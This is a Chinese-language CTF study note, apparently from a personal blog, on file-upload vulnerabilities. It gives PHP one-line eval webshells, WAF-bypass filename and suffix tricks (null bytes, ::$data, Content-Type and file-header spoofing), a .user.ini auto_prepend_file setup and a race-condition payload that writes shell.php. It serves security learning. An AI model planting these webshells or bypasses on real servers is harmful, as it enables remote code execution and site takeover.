【CTF笔记】文件上传漏洞

一、后门代码

1、一句话后门

1
2
3
<?php @eval($_get['cmd']); ?>
<?php @eval($_request['cmd']);?>
<script language="php">@eval($_post['cmd']);</script>

注意,在PHP中配置 short_open_tag=on 时,图片中不能含有 <? ,有会影响PHP代码的解析,导致图片马解析错误

2、其他后门代码

后门代码变形:WebShell变形
哥斯拉WebShell免杀:Github链接

注: assert() 函数在高版本好像不能直接用,详见:PHP手册

二次渲染生成图片马(如upload-labs16关)见:二次渲染

二、WAF绕过

1、允许的后缀名测试

使用 BurpSuite 中的 Intruder 爆破可行的后缀名,包括大小写等

字典见:字典

2、更改数据包内容

a、Content-Type

更改Content-Type为图片等,常见的见:MIME类型

b、文件头

更改文件头实现绕过,常用的文件头见:文件头

c、加入特殊字符

如:

1
2
3
4
5
6
7
空格
.
::$data
//注意,以下两个的区别为get方式会自动解码,而post不会,所以需要自己编码后再发送
%00
0x00
0x0a

注意,可以使用双写某些字符实现对单次过滤的绕过

d、更改保存路径

当可以更改保存名称时,可以更改保存名称为 WebShell.php/.

当通过数组截取后缀名来判断时,可以使用

1
2
3
save_name[0]=WebShell.php/
//具体索引由代码审计中来
save_name[2]=png

原理见:upload-labs21

e、其他

其他中的方法来自小迪师傅,因脑洞太大此处不好描述,

视频见:小迪安全

在数据包中增加垃圾数据,在数据包大小超过某一限制时,从而直接放行

在数据包文件名处更改**filename=”WebShell.php”**的形式为:

1
2
3
4
5
6
7
8
filename=x.php
filename="x.php
filename='x.php
filename="a.jpg;.php";
filename="x.php%00.jpg"
filename="Content-Disposition: form-data;name="upload_file";x.php
//先看以哪个为准,之后在为准的那个改为php后缀
filename="a.jpg";filename="b.jpg";filename="c.jpg"

3、上传某些配置文件

a、上传Apache下的 .htaccess 文件

上传 .htaccess 实现让PHP解析WebShell.png为php文件等操作

.htaccess 的内容我就不放了,百度即可(其实我试了半天愣是不行 /_ \ )

b、.user.ini

上传 .user.ini 文件,其中配置

1
2
3
4
//在前面插入WebShell.png
auto_prepend_file=WebShell.png
//在后面插入WebShell.png
auto_append_file=WebShell.png

实现对此目录下的PHP文件,插入到正常PHP文件中并以PHP解析WebShell.png

4、其他方法

a、条件竞争

适用于先上传再判断合规与否的情况
一个 Intruder 负责发包,使文件上传,另一个 Intruder 负责访问,负责访问PHP代码,使其执行将WebShell写到目录中

1
<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>

b、常见中间件解析漏洞

Apache换行解析漏洞等,详见:PDF资料

c、文件包含漏洞

配合文件包含漏洞,解析图片马


【CTF笔记】文件上传漏洞
https://hel1um17.github.io/2025/02/07/2025-02-07/
作者
Hel1um17
发布于
2025年2月7日
许可协议